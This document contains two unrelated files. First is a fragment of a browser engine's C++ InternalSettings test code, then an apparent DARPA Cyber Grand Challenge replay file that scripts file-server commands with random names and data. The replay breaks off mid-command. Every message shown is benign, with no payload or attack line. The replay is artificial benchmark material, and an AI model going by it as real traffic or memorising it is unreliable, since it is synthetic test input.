ExceptionOr<void> InternalSettings::setIncompleteImageBorderEnabled(bool enabled)
{
if (!m_page)
return Exception { InvalidAccessError };
settings().setIncompleteImageBorderEnabled(enabled);
return { };
}
ExceptionOr<void> InternalSettings::setShouldDispatchSyntheticMouseEventsWhenModifyingSelection(bool shouldDispatch)
{
if (!m_page)
return Exception { InvalidAccessError };
settings().setShouldDispatchSyntheticMouseEventsWhenModifyingSelection(shouldDispatch);
return { };
}
ExceptionOr<void> InternalSettings::setShouldDispatchSyntheticMouseOutAfterSyntheticClick(bool shouldDispatch)
{
if (!m_page)
return Exception { InvalidAccessError };
settings().setShouldDispatchSyntheticMouseOutAfterSyntheticClick(shouldDispatch);
return { };
}
static InternalSettings::ForcedAccessibilityValue settingsToInternalSettingsValue(Settings::ForcedAccessibilityValue value)
{
switch (value) {
case Settings::ForcedAccessibilityValue::System:
return InternalSettings::ForcedAccessibilityValue::System;
case Settings::ForcedAccessibilityValue::On:
return InternalSettings::ForcedAccessibilityValue::On;
case Settings::ForcedAccessibilityValue::Off:
return InternalSettings::ForcedAccessibilityValue::Off;
}
ASSERT_NOT_REACHED();
return InternalSettings::ForcedAccessibilityValue::Off;
}
static Settings::ForcedAccessibilityValue internalSettingsToSettingsValue(InternalSettings::ForcedAccessibilityValue value)
{
switch (value) {
case InternalSettings::ForcedAccessibilityValue::System:
return Settings::ForcedAccessibilityValue::System;
case InternalSettings::ForcedAccessibilityValue::On:
return Settings::ForcedAccessibilityValue::On;
case InternalSettings::ForcedAccessibilityValue::Off:
return Settings::ForcedAccessibilityValue::Off;
}
ASSERT_NOT_REACHED();
return Settings::ForcedAccessibilityValue::Off;
}
InternalSettings::ForcedAccessibilityValue InternalSettings::forcedColorsAreInvertedAccessibilityValue() const
{
return settingsToInternalSettingsValue(settings().forcedColorsAreInvertedAccessibilityValue());
}
void InternalSettings::setForcedColorsAreInvertedAccessibilityValue(InternalSettings::ForcedAccessibilityValue value)
{
settings().setForcedColorsAreInvertedAccessibilityValue(internalSettingsToSettingsValue(value));
}
InternalSettings::ForcedAccessibilityValue InternalSettings::forcedDisplayIsMonochromeAccessibilityValue() const
{
return settingsToInternalSettingsValue(settings().forcedDisplayIsMonochromeAccessibilityValue());
}
void InternalSettings::setForcedDisplayIsMonochromeAccessibilityValue(InternalSettings::ForcedAccessibilityValue value)
{
settings().setForcedDisplayIsMonochromeAccessibilityValue(internalSettingsToSettingsValue(value));
}
InternalSettings::ForcedAccessibilityValue InternalSettings::forcedPrefersReducedMotionAccessibilityValue() const
{
return settingsToInternalSettingsValue(settings().forcedPrefersReducedMotionAccessibilityValue());
}
void InternalSettings::setForcedPrefersReducedMotionAccessibilityValue(InternalSettings::ForcedAccessibilityValue value)
{
settings().setForcedPrefersReducedMotionAccessibilityValue(internalSettingsToSettingsValue(value));
}
bool InternalSettings::webAnimationsCSSIntegrationEnabled()
{
return RuntimeEnabledFeatures::sharedFeatures().webAnimationsCSSIntegrationEnabled();
}
void InternalSettings::setShouldDeactivateAudioSession(bool should)
{
PlatformMediaSessionManager::setShouldDeactivateAudioSession(should);
}
// If you add to this class, make sure that you update the Backup class for test reproducability!
}
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" standalone="no" ?>
<!DOCTYPE pov SYSTEM "/usr/share/cgc-docs/replay.dtd">
<pov>
<cbid>CROMU_00033</cbid>
<replay>
<write echo="ascii"><data>SEND\x06/UcpPD\x28\x00VqpwNA0mQ8pENEASVifH80c8DST12dX2XUkyuWp7</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] File received: /UcpPD\n</data></match></read>
<write echo="ascii"><data>NDIR\x05/qMEM</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] Added new directory\n</data></match></read>
<write echo="ascii"><data>NDIR\x0c/qMEM/N06gTk</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] Added new directory\n</data></match></read>
<write echo="ascii"><data>NDIR\x14/qMEM/N06gTk/nFtaiwI</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] Added new directory\n</data></match></read>
<write echo="ascii"><data>NDIR\x16/qMEM/N06gTk/B4Icognbo</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] Added new directory\n</data></match></read>
<write echo="ascii"><data>NDIR\x1c/qMEM/N06gTk/nFtaiwI/zvDmqnh</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] Added new directory\n</data></match></read>
<write echo="ascii"><data>NDIR\x1f/qMEM/N06gTk/B4Icognbo/k6Qcx2aP</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] Added new directory\n</data></match></read>
<write echo="ascii"><data>SEND\x1d/qMEM/N06gTk/B4Icognbo/cnZQiw\x18\x00G6FcjVLNm61HNwIiJ2fCaaAy</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] File received: /qMEM/N06gTk/B4Icognbo/cnZQiw\n</data></match></read>
<write echo="ascii"><data>SEND\x07/0zKdIh\x25\x00AcxW3yK2wcznsUDY2Z4PqTyhg4Qi53ZkkNFqs</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] File received: /0zKdIh\n</data></match></read>
<write echo="ascii"><data>SEND\x1f/qMEM/N06gTk/B4Icognbo/my3nSApQ\x16\x00Nyddns3oOUHqHy0MMXuTqC</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] File received: /qMEM/N06gTk/B4Icognbo/my3nSApQ\n</data></match></read>
<write echo="ascii"><data>RECV\x06/UcpPD</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[DATA] VqpwNA0mQ8pENEASVifH80c8DST12dX2XUkyuWp7\n</data></match></read>
<write echo="ascii"><data>NDIR\x17/qMEM/N06gTk/nZCmScaU7q</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] Added new directory\n</data></match></read>
<write echo="ascii"><data>RECV\x06/UcpPD</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[DATA] VqpwNA0mQ8pENEASVifH80c8DST12dX2XUkyuWp7\n</data></match></read>
<write echo="ascii"><data>NDIR\x1e/qMEM/N06gTk/B4Icognbo/7X2sU6Y</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] Added new directory\n</data></match></read>
<write echo="ascii"><data>SEND\x24/qMEM/N06gTk/B4Icognbo/k6Qcx2aP/7nOe\x2b\x00S3HteApynUhfrpuAUfewyIMivlAwugEve720RkUnLJ1</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] File received: /qMEM/N06gTk/B4Icognbo/k6Qcx2aP/7nOe\n</data></match></read>
<write echo="ascii"><data>NDIR\x24/qMEM/N06gTk/nFtaiwI/zvDmqnh/6bGwRym</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] Added new directory\n</data></match></read>
<write echo="ascii"><data>SEND\x16/qMEM/N06gTk/DDYLrCs7X\x5d\x00HMqUDTfEi3FmSkasY1hYy2FOPshjwxoLVDiXWVLPcDdNffVhsPqxSDgBu36pYBXa6isCOc2jYpbPbeph22prweifrDIwD</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] File received: /qMEM/N06gTk/DDYLrCs7X\n</data></match></read>
<write echo="ascii"><data>NDIR\x2a/qMEM/N06gTk/B4Icognbo/k6Qcx2aP/3vn9DjbBkH</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] Added new directory\n</data></match></read>
<write echo="ascii"><data>RECV\x06/UcpPD</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[DATA] VqpwNA0mQ8pENEASVifH80c8DST12dX2XUkyuWp7\n</data></match></read>
<write echo="ascii"><data>RECV\x1f/qMEM/N06gTk/B4Icognbo/my3nSApQ</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[DATA] Nyddns3oOUHqHy0MMXuTqC\n</data></match></read>
<write echo="ascii"><data>SEND\x1b/qMEM/N06gTk/nFtaiwI/m28HmE\x1f\x00cMRznxlyIjp853aZgOHiCaIbiLXO1Hi</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] File received: /qMEM/N06gTk/nFtaiwI/m28HmE\n</data></match></read>
<write echo="ascii"><data>SEND\x17/qMEM/N06gTk/ENafyrZs4M\x21\x006581rgUm6XH3if7ad3kqGyzsYxdlYwzn7</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] File received: /qMEM/N06gTk/ENafyrZs4M\n</data></match></read>
<write echo="ascii"><data>NDIR\x24/qMEM/N06gTk/B4Icognbo/7X2sU6Y/RmqDt</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] Added new directory\n</data></match></read>
<write echo="ascii"><data>RECV\x16/qMEM/N06gTk/DDYLrCs7X</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[DATA] HMqUDTfEi3FmSkasY1hYy2FOPshjwxoLVDiXWVLPcDdNffVhsPqxSDgBu36pYBXa6isCOc2jYpbPbeph22prweifrDIwD\n</data></match></read>
<write echo="ascii"><data>NDIR\x2c/qMEM/N06gTk/B4Icognbo/7X2sU6Y/RmqDt/qtYalcW</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] Added new directory\n</data></match></read>
<write echo="ascii"><data>SEND\x06/SmITu\x30\x00IuTI2HZARPgNmO75eACmNJ5l4u8kc6viI8CNg8NXStND1pbP</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] File received: /SmITu\n</data></match></read>
<write echo="ascii"><data>NDIR\x0e/qMEM/zEgWSjze</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] Added new directory\n</data></match></read>
<write echo="ascii"><data>NDIR\x23/qMEM/N06gTk/B4Icognbo/7X2sU6Y/WQsm</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] Added new directory\n</data></match></read>
<write echo="ascii"><data>SEND\x22/qMEM/N06gTk/nZCmScaU7q/9xOQTPs7bC\x5c\x00jQ00JqgT8I2DG7jFXDhrpQxqvndBhnBFDp4XnvmrcGbAKAABrW3KutmtXxIrM7RQzRgujb6AO1zh4YllCpjZN4LUt11m</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] File received: /qMEM/N06gTk/nZCmScaU7q/9xOQTPs7bC\n</data></match></read>
<write echo="ascii"><data>NDIR\x2a/qMEM/N06gTk/B4Icognbo/k6Qcx2aP/vgzSWbjGnG</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] Added new directory\n</data></match></read>
<write echo="ascii"><data>SEND\x12/qMEM/N06gTk/prpRw\x54\x00uSE0dWhct6gMbNYbh29sE9V2gnl02da5OvIxNFYF7TUiPj8AHWcLK35eu5sqrD6eAczrCTZR0sZB3wkUNkNI</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] File received: /qMEM/N06gTk/prpRw\n</data></match></read>
<write echo="ascii"><data>SEND\x1d/qMEM/N06gTk/nZCmScaU7q/fWEtP\x29\x005W1OwIs6jJzDnq1ZTHW6hl4fJ9ptTmDFhV3RtfcU0</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] File received: /qMEM/N06gTk/nZCmScaU7q/fWEtP\n</data></match></read>
<write echo="ascii"><data>SEND\x29/qMEM/N06gTk/B4Icognbo/7X2sU6Y/eGmvnSbNJX\x2a\x00qhgFbRzvNPU7Fiud0Gk2i2XrWUB3q7udkCoQ5zsjPP</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] File received: /qMEM/N06gTk/B4Icognbo/7X2sU6Y/eGmvnSbNJX\n</data></match></read>
<write echo="ascii"><data>NDIR\x28/qMEM/N06gTk/B4Icognbo/7X2sU6Y/WQsm/1Odg</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] Added new directory\n</data></match></read>
<write echo="ascii"><data>NDIR\x26/qMEM/N06gTk/nFtaiwI/zvDmqnh/SlkE2NAnV</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] Added new directory\n</data></match></read>
<write echo="ascii"><data>NDIR\x21/qMEM/N06gTk/nZCmScaU7q/Kjdvw16ef</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] Added new directory\n</data></match></read>
<write echo="ascii"><data>NDIR\x1d/qMEM/N06gTk/nFtaiwI/KoBsqtzX</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] Added new directory\n</data></match></read>
<write echo="ascii"><data>RECV\x17/qMEM/N06gTk/ENafyrZs4M</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[DATA] 6581rgUm6XH3if7ad3kqGyzsYxdlYwzn7\n</data></match></read>
<write echo="ascii"><data>SEND\x21/qMEM/N06gTk/nFtaiwI/zvDmqnh/y2VM\x4a\x00ajowyoqDf7eYxO7gN5XdAOgNLRxbmDU1a4O7DnEzfl1zcVCIQWGwB2JJqzHnXMtYoFYo2sj2YI</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] File received: /qMEM/N06gTk/nFtaiwI/zvDmqnh/y2VM\n</data></match></read>
<write echo="ascii"><data>NDIR\x27/qMEM/N06gTk/B4Icognbo/k6Qcx2aP/JA7mowz</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] Added new directory\n</data></match></read>
<write echo="ascii"><data>SEND\x37/qMEM/N06gTk/B4Icognbo/7X2sU6Y/RmqDt/qtYalcW/HaKqnuJhXH\x36\x00B4z0o7ZEJrUZYF6N9TvdrZUbpv2DXL1mRd5E4v8xjhiLo4luWFdCKx</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] File received: /qMEM/N06gTk/B4Icognbo/7X2sU6Y/RmqDt/qtYalcW/HaKqnuJhXH\n</data></match></read>
<write echo="ascii"><data>NDIR\x28/qMEM/N06gTk/B4Icognbo/7X2sU6Y/wne8pmFRj</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] Added new directory\n</data></match></read>
<write echo="ascii"><data>NDIR\x26/qMEM/N06gTk/nFtaiwI/zvDmqnh/sY1a85pzx</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] Added new directory\n</data></match></read>
<write echo="ascii"><data>NDIR\x2d/qMEM/N06gTk/B4Icognbo/7X2sU6Y/WQsm/1Odg/GWD3</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] Added new directory\n</data></match></read>
<write echo="ascii"><data>NDIR\x1d/qMEM/N06gTk/B4Icognbo/1zCZ7s</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] Added new directory\n</data></match></read>
<write echo="ascii"><data>SEND\x2e/qMEM/N06gTk/B4Icognbo/k6Qcx2aP/JA7mowz/N72GS7\x38\x0067DlfwV5xWF0zDoXuDD0aDDBpHTjMJaFfeamqSIMzPmYYVWgYh9NLxDH</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] File received: /qMEM/N06gTk/B4Icognbo/k6Qcx2aP/JA7mowz/N72GS7\n</data></match></read>
<write echo="ascii"><data>SEND\x25/qMEM/N06gTk/B4Icognbo/k6Qcx2aP/Scm09\x35\x00yf0lnVJGgdoNWYfa8s3a0jLmLCy0oC5CMygXdMozO4vjVMGlzYIRm</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] File received: /qMEM/N06gTk/B4Icognbo/k6Qcx2aP/Scm09\n</data></match></read>
<write echo="ascii"><data>NDIR\x21/qMEM/N06gTk/B4Icognbo/gwm5GrRF85</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] Added new directory\n</data></match></read>
<write echo="ascii"><data>SEND\x2c/qMEM/N06gTk/nFtaiwI/zvDmqnh/6bGwRym/kgVbR95\x5a\x00iNH2qYyPSUzp67veB6PaI5zmPTSl4zNrTAMF4r4kFwoxRggvaP5Rj1aVR37carbqLI0Dvjq47H8qsuhRLTWfNeQvFn</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] File received: /qMEM/N06gTk/nFtaiwI/zvDmqnh/6bGwRym/kgVbR95\n</data></match></read>
<write echo="ascii"><data>SEND\x08/v6q0gcw\x1f\x00dZPD0zZlgRLLNWaklorg6ovZGTSnrnH</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] File received: /v6q0gcw\n</data></match></read>
<write echo="ascii"><data>SEND\x36/qMEM/N06gTk/B4Icognbo/7X2sU6Y/WQsm/1Odg/GWD3/hyCI97yA\x3b\x00G5oGshZV3cWqj3p5YqHNNmyZCzicb0KwCYtjfqdrEWEo5hn3vrCRrvp7XUX</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] File received: /qMEM/N06gTk/B4Icognbo/7X2sU6Y/WQsm/1Odg/GWD3/hyCI97yA\n</data></match></read>
<write echo="ascii"><data>NDIR\x22/qMEM/N06gTk/B4Icognbo/1zCZ7s/8hZY</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] Added new directory\n</data></match></read>
<write echo="ascii"><data>NDIR\x29/qMEM/N06gTk/nFtaiwI/zvDmqnh/6bGwRym/CICb</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] Added new directory\n</data></match></read>
<write echo="ascii"><data>SEND\x1b/qMEM/N06gTk/nFtaiwI/yHDJut\x50\x0007SDyahM7f83MOIVQIIAIaPsVdjzJ6C0dd1Bau1RQA4MHjH4criAiYzX7CX7Kk4y6nsZg4uuYhU6C83v</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] File received: /qMEM/N06gTk/nFtaiwI/yHDJut\n</data></match></read>
<write echo="ascii"><data>NDIR\x27/qMEM/N06gTk/nZCmScaU7q/Kjdvw16ef/0IQxj</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] Added new directory\n</data></match></read>
<write echo="ascii"><data>RECV\x22/qMEM/N06gTk/nZCmScaU7q/9xOQTPs7bC</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[DATA] jQ00JqgT8I2DG7jFXDhrpQxqvndBhnBFDp4XnvmrcGbAKAABrW3KutmtXxIrM7RQzRgujb6AO1zh4YllCpjZN4LUt11m\n</data></match></read>
<write echo="ascii"><data>NDIR\x2a/qMEM/N06gTk/B4Icognbo/gwm5GrRF85/Gfslosws</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] Added new directory\n</data></match></read>
<write echo="ascii"><data>RECV\x25/qMEM/N06gTk/B4Icognbo/k6Qcx2aP/Scm09</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[DATA] yf0lnVJGgdoNWYfa8s3a0jLmLCy0oC5CMygXdMozO4vjVMGlzYIRm\n</data></match></read>
<write echo="ascii"><data>SEND\x2f/qMEM/N06gTk/B4Icognbo/k6Qcx2aP/vgzSWbjGnG/mQ28\x1d\x00Ov5G3SzznqViypTP4MvrVkwGL57r1</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] File received: /qMEM/N06gTk/B4Icognbo/k6Qcx2aP/vgzSWbjGnG/mQ28\n</data></match></read>
<write echo="ascii"><data>SEND\x2b/qMEM/N06gTk/nZCmScaU7q/Kjdvw16ef/YnEeWuO6O\x44\x00xzsVSdT7Cgl1hioOK39hAdC3xVrubZLmICS9DGJ54ysUhLSTpbAd6OkaE6htgOqgOgVN</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] File received: /qMEM/N06gTk/nZCmScaU7q/Kjdvw16ef/YnEeWuO6O\n</data></match></read>
<write echo="ascii"><data>RECV\x24/qMEM/N06gTk/B4Icognbo/k6Qcx2aP/7nOe</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[DATA] S3HteApynUhfrpuAUfewyIMivlAwugEve720RkUnLJ1\n</data></match></read>
<write echo="ascii"><data>NDIR\x2a/qMEM/N06gTk/B4Icognbo/7X2sU6Y/RmqDt/8X448</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] Added new directory\n</data></match></read>
<write echo="ascii"><data>NDIR\x25/qMEM/N06gTk/B4Icognbo/k6Qcx2aP/OsVXw</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] Added new directory\n</data></match></read>
<write echo="ascii"><data>NDIR\x2b/qMEM/N06gTk/nFtaiwI/zvDmqnh/SlkE2NAnV/NPVd</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] Added new directory\n</data></match></read>
<write echo="ascii"><data>SEND\x34/qMEM/N06gTk/B4Icognbo/7X2sU6Y/RmqDt/8X448/roGW2M1tv\x44\x00WtU0DCGO8uiaCDVghi4tXVZKHb4SGbMNz5PuGi2B0ngoalE20e6rewfYzrmfEVfGgIxr</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] File received: /qMEM/N06gTk/B4Icognbo/7X2sU6Y/RmqDt/8X448/roGW2M1tv\n</data></match></read>
<write echo="ascii"><data>NDIR\x13/qMEM/zEgWSjze/7BEO</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] Added new directory\n</data></match></read>
<write echo="ascii"><data>SEND\x0f/qMEM/YaFypF6Qd\x43\x00pmiiFDG0AxvE3ED1LR49vZROMJq7UWgxPIvWF6AF6KOpxyiiAJEnxFSBCGNOYH1qOeP</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] File received: /qMEM/YaFypF6Qd\n</data></match></read>
<write echo="ascii"><data>NDIR\x2a/qMEM/N06gTk/B4Icognbo/7X2sU6Y/WQsm/6dLlLr</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] Added new directory\n</data></match></read>
<write echo="ascii"><data>RECV\x22/qMEM/N06gTk/nZCmScaU7q/9xOQTPs7bC</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[DATA] jQ00JqgT8I2DG7jFXDhrpQxqvndBhnBFDp4XnvmrcGbAKAABrW3KutmtXxIrM7RQzRgujb6AO1zh4YllCpjZN4LUt11m\n</data></match></read>
<write echo="ascii"><data>NDIR\x2e/qMEM/N06gTk/B4Icognbo/7X2sU6Y/wne8pmFRj/b9RJt</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] Added new directory\n</data></match></read>
<write echo="ascii"><data>SEND\x38/qMEM/N06gTk/B4Icognbo/7X2sU6Y/wne8pmFRj/b9RJt/NPsmTWjcL\x44\x00ZRX1mkZjV2W1WxAKK8bcQZOgPAhztyya4rNMi28pWKruDdNyY8oe7oDitCF2r47fcaNs</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] File received: /qMEM/N06gTk/B4Icognbo/7X2sU6Y/wne8pmFRj/b9RJt/NPsmTWjcL\n</data></match></read>
<write echo="ascii"><data>SEND\x14/qMEM/N06gTk/m3xtF46\x2a\x00tG1C8QzEGoDYPtXY6LnoCLjAUKjfniso0JGutLNvd0</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] File received: /qMEM/N06gTk/m3xtF46\n</data></match></read>
<write echo="ascii"><data>NDIR\x27/qMEM/N06gTk/nZCmScaU7q/Kjdvw16ef/OBO0M</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] Added new directory\n</data></match></read>
<write echo="ascii"><data>NDIR\x2e/qMEM/N06gTk/nZCmScaU7q/Kjdvw16ef/0IQxj/4pB2ZU</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] Added new directory\n</data></match></read>
<write echo="ascii"><data>SEND\x2a/qMEM/N06gTk/B4Icognbo/gwm5GrRF85/NTVkSfkz\x19\x00f7IsgBkDh7QLiQVHNZ4ZMvoHE</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] File received: /qMEM/N06gTk/B4Icognbo/gwm5GrRF85/NTVkSfkz\n</data></match></read>
<write echo="ascii"><data>REPO\x21/qMEM/N06gTk/nFtaiwI/zvDmqnh/y2VM</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] y2VM removed\n</data></match></read>
<write echo="ascii"><data>SEND\x33/qMEM/N06gTk/B4Icognbo/7X2sU6Y/WQsm/1Odg/GWD3/OiCX4\x3f\x00fLBCQjWMpsj36cLsVmRGVohCzefB2NwGuqk9ulOSahqNEXw4NZvk7x117qgW63d</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] File received: /qMEM/N06gTk/B4Icognbo/7X2sU6Y/WQsm/1Odg/GWD3/OiCX4\n</data></match></read>
<write echo="ascii"><data>SEND\x22/qMEM/N06gTk/nFtaiwI/zvDmqnh/BOl1Y\x4f\x00LtNTNY2FnoUBLq3QVuj0hFPCQDGwKq0kBSVNIwtj9KYeXl5FqL1T7WhqSxrYuULr1Q8tlG6hl2WBgpi</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] File received: /qMEM/N06gTk/nFtaiwI/zvDmqnh/BOl1Y\n</data></match></read>
<write echo="ascii"><data>REPO\x25/qMEM/N06gTk/B4Icognbo/k6Qcx2aP/Scm09</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] Scm09 removed\n</data></match></read>
<write echo="ascii"><data>RECV\x36/qMEM/N06gTk/B4Icognbo/7X2sU6Y/WQsm/1Odg/GWD3/hyCI97yA</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[DATA] G5oGshZV3cWqj3p5YqHNNmyZCzicb0KwCYtjfqdrEWEo5hn3vrCRrvp7XUX\n</data></match></read>
<write echo="ascii"><data>SEND\x25/qMEM/N06gTk/B4Icognbo/7X2sU6Y/b1mYiC\x5c\x00X6lSK6rcQHyJay0qpXtohSpxk0Eo05QxJj8oUKEOlcDqgZrAUGBupRX9tsaAy3d27D5Se6ZPFmDN1W82Jg7Vr2Shwqub</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] File received: /qMEM/N06gTk/B4Icognbo/7X2sU6Y/b1mYiC\n</data></match></read>
<write echo="ascii"><data>REPO\x22/qMEM/N06gTk/nZCmScaU7q/9xOQTPs7bC</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] 9xOQTPs7bC removed\n</data></match></read>
<write echo="ascii"><data>REPO\x22/qMEM/N06gTk/nFtaiwI/zvDmqnh/BOl1Y</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] BOl1Y removed\n</data></match></read>
<write echo="ascii"><data>SEND\x33/qMEM/N06gTk/B4Icognbo/gwm5GrRF85/Gfslosws/rZLmUCuD\x39\x00U4hNXwKHHDppUGOtg8kQxmHEPGLomshLfx47ypf3em9Ll11305s76majM</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] File received: /qMEM/N06gTk/B4Icognbo/gwm5GrRF85/Gfslosws/rZLmUCuD\n</data></match></read>
<write echo="ascii"><data>REPO\x24/qMEM/N06gTk/B4Icognbo/k6Qcx2aP/7nOe</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] 7nOe removed\n</data></match></read>
<write echo="ascii"><data>NDIR\x30/qMEM/N06gTk/B4Icognbo/k6Qcx2aP/vgzSWbjGnG/EAzuw</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] Added new directory\n</data></match></read>
<write echo="ascii"><data>REPO\x33/qMEM/N06gTk/B4Icognbo/gwm5GrRF85/Gfslosws/rZLmUCuD</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] rZLmUCuD removed\n</data></match></read>
<write echo="ascii"><data>REPO\x38/qMEM/N06gTk/B4Icognbo/7X2sU6Y/wne8pmFRj/b9RJt/NPsmTWjcL</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] NPsmTWjcL removed\n</data></match></read>
<write echo="ascii"><data>SEND\x35/qMEM/N06gTk/nFtaiwI/zvDmqnh/SlkE2NAnV/NPVd/3ulo7gZzo\x57\x00kV55JZ5KUO6hTh4Xhfu4CUsNb89UBqAbcwuxrqjXGnXUGZq5YeHq4bcAU6te40agxrl53dyOSlPjHmjYyVRWYOv</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] File received: /qMEM/N06gTk/nFtaiwI/zvDmqnh/SlkE2NAnV/NPVd/3ulo7gZzo\n</data></match></read>
<write echo="ascii"><data>SEND\x31/qMEM/N06gTk/B4Icognbo/k6Qcx2aP/JA7mowz/yQAgKA2ln\x60\x007UFWYc66mdVHpOP0HKcxa4GNvWLGztgd4Osj3svC7QPLKWypRhJl4XawmujWh5jHstPBuC7TNq8qc2eUYYc3fqVW7N6QNlt6</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] File received: /qMEM/N06gTk/B4Icognbo/k6Qcx2aP/JA7mowz/yQAgKA2ln\n</data></match></read>
<write echo="ascii"><data>NDIR\x2c/qMEM/N06gTk/B4Icognbo/k6Qcx2aP/JA7mowz/PmFR</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] Added new directory\n</data></match></read>
<write echo="ascii"><data>SEND\x35/qMEM/N06gTk/B4Icognbo/k6Qcx2aP/vgzSWbjGnG/ubxRNRZAyP\x5f\x00bFW3L330gmShBbMOku7zPCtdB4uCLgOlj9jXdH34KA5nepjrJAuXly1fVShOXbh6MITMuQg160GynpcanEXhmxQOACxY7zr</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] File received: /qMEM/N06gTk/B4Icognbo/k6Qcx2aP/vgzSWbjGnG/ubxRNRZAyP\n</data></match></read>
<write echo="ascii"><data>NDIR\x24/qMEM/N06gTk/B4Icognbo/7X2sU6Y/rWCgn</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] Added new directory\n</data></match></read>
<write echo="ascii"><data>SEND\x3a/qMEM/N06gTk/B4Icognbo/k6Qcx2aP/vgzSWbjGnG/EAzuw/HYBFHZiow\x62\x00TVBldlu8zQKDwkcyDtH0U3FWvpw4ohWR9Cj5Tck8mjn9EkefhOeieYbNoCvdbEewBzm4cnKLJBk6ke1DPMXyRphpQjPYNzhKHN</data></write>
